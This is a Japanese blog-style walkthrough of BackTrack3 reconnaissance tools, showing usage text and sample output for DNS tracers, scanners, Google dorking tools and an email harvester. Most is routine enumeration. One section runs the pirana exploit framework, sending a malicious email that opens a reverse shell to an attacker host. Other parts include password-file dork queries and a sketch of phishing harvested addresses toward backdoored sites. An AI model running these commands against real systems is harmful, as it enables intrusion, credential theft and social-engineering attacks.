dnstracer

dnstracerの使い方。

dnstracer [options] [host]
-c: disable local caching, default enabled
-o: enable overview of received answers, default disabled
-q : query-type to use for the DNS requests, default A
-r : amount of retries for DNS requests, default 3
-s : use this server for the initial request, default localhost If . is specified, A.ROOT-SERVERS.NET will be used. -t : timeout for DNS requests, default 15 seconds -v: verbose

dnstracer www.sample.com
Tracing to www.sample.com via 192.168.1.1, timeout 15 seconds
192.168.1.1 (192.168.1.1)
|\___ ns1.hitfarm.com [sample.com] (72.51.27.54) Got authoritative answer
|\___ ns3.hitfarm.com [sample.com] (72.51.27.54) (cached)
\___ ns2.hitfarm.com [sample.com] (208.87.33.160) Got authoritative answer

単純にURLを打つだけです。
それ以外のオプションの使い方はこちらから。
http://www.mavetju.org/unix/dnstracer.php

0trace

0traceの使い方。

0trace.sh eth0 192.168.1.1
0trace v0.01 PoC by
[+] Waiting for traffic from target on eth0...

止まったまま、動かないですね・・。
tracerouteのような動作をするツールのようなのですが。


0traceの使い方。

0trace.sh eth0 192.168.1.1
0trace v0.01 PoC by
[+] Waiting for traffic from target on eth0...

止まったまま、動かないですね・・。
tracerouteのような動作をするツールのようなのですが。

InTrace 1.3

InTrace 1.3の使い方。

http://www.swiecki.net/progs/intrace-README.txt

intrace -i eth0 -h www.sample.com

まず、intraceを起動。

nc www.sample.com 80

NetCatでターゲットに接続。
intraceに戻り、Enterキーで実行開始。

tracerouteよりも詳細な情報が得られます。

QGoogle

QGoogleは、コマンドラインからの検索ツールです。

Google SOAP Search APIのKeyが必要となるのですが、すでに公開停止されているんですよねぇ。
残念ですが、使えません。

MovableTypeの本読んでいたときに取得した気がするけど、さすがに残ってないし。
大学生の時だったかなぁ。歳とりました。

オプション

Usage: python googly.py

そんなこんなで、BackTrack3のベータ版では外されています。
似たような検索APIとしては、Google AJAX APIsがありますがサイト登録前提ですからねぇ。
WEB上での検索結果をコマンドに流してくれるようなラッパー探すしかないかな。

まぁ、ネットにつながっているのであれば、w3m使えばいいか。

protos

protosはIPプロトコルスキャナーです。
ターゲット上で動いているプロトコルをスキャンすることが可能です。

オプション

Usage: ./protos -i eth0 -d 10.1.2.3 -v
-v verbose
-V show which protocols are not supported
-u don't ping targets first
-s make the scan slow (for very remote devices)
-L show the long protocol name and it's reference (RFC)
-p x number of probes (default=5)
-S x sleeptime is x (default=1)
-a x continue scan afterwards for x seconds (default=3)
-d dest destination (IP or IP/MASK)
-i interface the eth0 stuff
-W don't scan, just print the protocol list

bt # protos -i eth0 -d 192.168.1.20
>>>>>>>> RESULTS >>>>>>>>>>

192.168.1.20 may be running (did not negate):
ICMP IGMP TCP UDP GRE

インターフェイスとターゲットを指定するだけです。
作業を遅くするなどターゲットにばれないようなオプションもあります。

VMWare上で動かしたOSやルーターなどに対してスキャンかけてみると勉強になるかもしれません。

pirana

piranaの使い方。

piranaは、SMTPのコンテンツフィルターをチェックするためのフレームワークです。

オプション

bt # ./pirana.pl
At least one mandatory option is missing...
Usage: pirana.pl [MANDATORY ARGS] [OPTIONAL ARGS]

Mandatory arguments:
-e+ Exploit number to use (See below)
-h+ SMTP server to test
-a+ Destination email address used in probing


Optional arguments:
-s+ Shellcode type to inject into exploits (See below)
-c+ Cloaking style (See below)
-d+ Try to vanish attachements from MUA's view (See below)
-v Attach EICAR virus to improve stealthness
-z Pack all the malware into a tarball to be less noisy
-p+ Port to use in reverse shell or bind shell
-l+ Host to connect back in reverse shell mode


Valid exploits numbers:
0 OSVDB #5753: LHA get_header File Name Overflow
1 OSVDB #5754: LHA get_header Directory Name Overflow
2 OSVDB #6456: file readelf.c tryelf() ELF Header Overflow
3 OSVDB #11695: unarj Filename Handling Overflow
4 OSVDB #23460: ZOO combine File and Dir name overflow
5 OSVDB #15867: Convert UUlib uunconc integer overflow
6 OSVDB #XXX: ZOO next offset infinite loop DoS


Valid shellcode types:
0 TCP reverse shell
1 UDP reverse shell
2 TCP bind shell


Valid cloaking styles (consult whitepaper for visual result):
0 No cloaking at all (default)
1 Viagra spam message
2 "Look at the pictures I promised you!"


Vanishing techniques for attachements:
0 No vanishing at all (default)
1 Multipart/alternative trick
2 trick

bt # ./pirana.pl -e 0 -h mail.sample.com -a masashi -s 0 -l 192.168.1.2 -p 1234
Generating shellcode in /tmp/raw ... Done!!!
Generating files ranging from offset 0xbfffa000 to 0xbfffffff
...................................................................
The email has been sent to yoshida through mail.sample.com
You should now have a shell on 192.168.1.2:1234 !!!

本気でテストできるメールサーバーがないのでそのうちちゃんと書き直します。
Metasploit frameworkからshellcode生成しているようだから、下手に扱うとサーバーフルボッコだからね。

Netenum

Netenumの使い方。

Netenumは、ターゲットとなるhostのリスト作成のためのツールです。
そのため他のツールと組み合わせて使うことになります。

オプション

bt # netenum
netenum [timeout] [verbosity]
if timeout is >0, pings are used to enum

bt # netenum 192.168.1.1/255.255.255.248
192.168.1.0
192.168.1.1
192.168.1.2
192.168.1.3
192.168.1.4
192.168.1.5
192.168.1.6
192.168.1.7


このようにリストがアウトプットされるので、パイプで他のプログラムへつなげるもよし、シェルスクリプトの中で使うのもよし。

itrace

itraceの使い方。

itraceは、ICMP echo requestを利用してターゲットまでのルートを調べることができます。
まぁ、基本はtracerouteと同じですね。

オプション

bt # itrace -i eth0 -d
itrace: option requires an argument -- d
Usage: itrace [-vn] [-pX] [-mX] [-tX] -i -d

  • v verbose
  • n reverse lookup IPs
  • pX send X probes (default=3)
  • mX maximum TTL (default=30)
  • tX timeout X sec (default=3)
  • i use this device
  • d trace to this destination

使い方

bt # itrace -i eth0 -d www.sample.com

インターフェイスとターゲットを指定します。
早いので忙しいときなどに利用するといいかも。

host

hostの使い方。

ホスト名とIPアドレスの変換をしてくれます。

オプション

bt # host
Usage: host [-aCdlriTwv] [-c class] [-N ndots] [-t type] [-W time] [-R number] hostname [server]

  • a is equivalent to -v -t *
  • c specifies query class for non-IN data
  • C compares SOA records on authoritative nameservers
  • d is equivalent to -v
  • l lists all hosts in a domain, using AXFR
  • i IP6.INT reverse lookups
  • N changes the number of dots allowed before root lookup is done
  • r disables recursive processing
  • R specifies number of retries for UDP packets
  • t specifies the query type
  • T enables TCP/IP mode
  • v enables verbose output
  • w specifies to wait forever for a reply
  • W specifies how long to wait for a reply
  • 4 use IPv4 query transport only
  • 6 use IPv6 query transport only

単純にホスト名かIPアドレスをいれるだけです。
-aつけるとコンパクトに情報がとれます。

gooscan

gooscanは、googleアプライアンス製品に対してコマンドラインから検索をかけられます。

まぁ日本だとウェブサイトにgoogleアプライアンス製品を導入しているところ少ないかもしれません。
導入事例などを参考にどうぞ。

管理者の人が、予期せずに秘密のファイルが検索対象になっていないかどうか調べる際に使うとよいですね。

簡単な使い方です。

gooscan <-q query | -i query_file> <-t target>
[-o output_file] [-p proxy:port] [-v] [-d]
[-s site] [-x xtra_appliance_fields]
----------------------------------------------------------------
(query) is a standard google query (EX: "intitle:index.of")
(query_file) is a list of google queries (see README)
(target) is the Google appliance/server
(output_file) is where the HTML-formatted list of results goes
(proxy:port) address:port of a valid HTTP proxy for bouncing
(site) restricts search to one domain, like microsoft.com
(xtra_appliance_fields) are required for appliance scans
-v turns on verbose mode
-d hex-encodes all non-alpha characters
Friendly example:
gooscan -t google.fda.gov -q food
-x "&client=FDA&site=FDA&output=xml_no_dtd&oe=&lr=&proxystylesheet=FDA"
Google terms-of-service violations:
gooscan -t www.google.com -q "linux"
gooscan -t www.google.com -q "linux" -s microsoft.com
gooscan -t www.google.com -f gdork.gs

検索キーワードをファイルから読み込んで、アウトプットしたりできます。
そのほかの使い方についてはREADMEに詳しく載っていますので熟読してみてください。

Googrape

Goograpeの使い方。

ghdb.txtにあるテキストを読み込んでGoogleから対象ファイルがあるかどうか探すツールのようですが。

bt # /pentest/enumeration/google/googrape-v.0.1
bt # googrape.py

Google GHDB Scanner v.0.1

Enter Domain:

ドメインを入れろと急かされるので、打ち込んでみると

=======================================
Google GHDB Results for sample.com:
=======================================

http://www.google.com/search?q=%22cacheserverreport+for%22+%22This+analysis+was+produced+by+calamaris%2+site%3Asample.com
Traceback (most recent call last):
File "./googrape.py", line 35, in
text = opener.open(request).read()
File "/usr/lib/python2.5/urllib2.py", line 380, in open
response = meth(req, response)
File "/usr/lib/python2.5/urllib2.py", line 491, in http_response
'http', request, response, code, msg, hdrs)
File "/usr/lib/python2.5/urllib2.py", line 418, in error
return self._call_chain(*args)
File "/usr/lib/python2.5/urllib2.py", line 353, in _call_chain
result = func(*args)
File "/usr/lib/python2.5/urllib2.py", line 499, in http_error_default
raise HTTPError(req.get_full_url(), code, msg, hdrs, fp)
urllib2.HTTPError: HTTP Error 403: Forbidden

Pyothonのモジュールがぶっ壊れているのかな?
よくわからん・・。

Google-search

Google-searchの使い方。

Google-searchはコマンドラインから検索かけられるツールのようです。

オプション

./google-search [options]
options:

  • h: this help menue
  • p: request google with a proxy. next argument must be the proxy

and the port in the following format "host:port"

  • m: next argument must be the count of results you want to see
  • V: prints versions info
  • r: prints only the results count and exit

examples:
./google-search "filetype:pwd inurl:service.pwd" -r # show results
./google-search "filetype:pwd inurl:service.pwd" -m 30 # print about 30 results

で、実際に試してみようとすると

bt # cd /pentest/enumeration/google/
bt # ./google-search sample


動かない・・。

Goog Mail Enum

Goog Mail Enumの使い方。

Goog Mail Enumは、サーチエンジンからある特定のドメインの検索結果からメールアドレスを収集するツールです。

オプション

usage: theharvester options

-d: domain to search
-l: limit the number of results to work with(msn goes from 50 to 50 results and google 100 to 100)
-b: search engine(google,msn)

example:./theharvester.py -d microsoft.com -l 500 -b google

早速使ってみましょう。結果はダミーです。

cd /pentest/enumeration/google
bt # ./goog-mail.py -d sample.com -b google

Searching for sample.com in google
========================================
Total results: 795
Limit: 100
Searching results: 0

Accounts found:
====================

No results were found
====================

Total results: 0

実際に一番脆弱なのは人間です。
アドレスを収集した後の流れとしては、さらにそのアドレスに関しての情報を集めて、言葉巧みにクライアントOSの脆弱性を狙ってバックドアなどを仕込んだサイトにアクセスさせる感じですかね。

150行程度のPythonスクリプトなので勉強にもいいかもしれないですね。